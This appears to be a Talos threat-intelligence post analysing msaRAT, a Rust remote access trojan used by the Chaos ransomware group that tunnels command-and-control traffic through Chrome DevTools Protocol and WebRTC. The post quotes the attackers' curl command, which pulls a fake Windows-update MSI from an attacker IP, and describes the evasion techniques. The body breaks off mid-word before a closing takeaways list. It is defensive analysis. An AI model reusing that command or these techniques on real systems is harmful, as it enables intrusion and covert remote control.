Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel
July 23, 2026 · Talos Intelligence · Severity: CRITICAL
Cisco Talos has identified a new Rust-based remote access trojan (RAT) named "msaRAT," attributed to the Chaos ransomware group. This malware leverages the Chrome DevTools Protocol (CDP) to establish covert command-and-control (C2) communications, bypassing direct network interaction by using the browser as a proxy. msaRAT manipulates the browser via CDP, performs signaling with Cloudflare Workers, and establishes a WebRTC DataChannel using Twilio TURN as a relay. The malware’s capabilities include browser-based remote code execution and tunneling, making it highly evasive. Chaos ransomware, a ransomware-as-a-service (RaaS) group active since February 2025, targets large organizations using spam emails and voice-based social engineering (vishing) for initial access. Their tactics include abusing remote monitoring and management (RMM) tools and legitimate file-sharing software for data exfiltration. The infection chain begins with attackers downloading an MSI file named "update_ms.msi" via a curl command over HTTP, exploiting environments where firewalls allow traffic based solely on port numbers. The MSI file impersonates a Windows update and, upon execution, triggers a custom action that loads the embedded msaRAT payload (lib.dll) into memory. Written in Rust and utilizing the Tokio asynchronous runtime, msaRAT initializes Tokio to handle asynchronous tasks, determining worker threads based on system CPU count. This sophisticated approach highlights Chaos ransomware’s evolving tactics, posing a significant threat to organizations by enabling stealthy C2 communications and facilitating double extortion attacks.
- Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
- msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
- This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
- msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.
Overview of Chaos ransomware

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.

Infection chain
Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.
curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi
The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

lib.dll (msaRAT)
msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.
Tokio runtime initialization
Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.
As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.
During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.
By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processin
Key Takeaways
- Chaos ransomware group deploys new Rust-based RAT called msaRAT.
- msaRAT uses Chrome DevTools Protocol for covert C2 tunneling.
- RAT lives off the browser, never directly touching the network.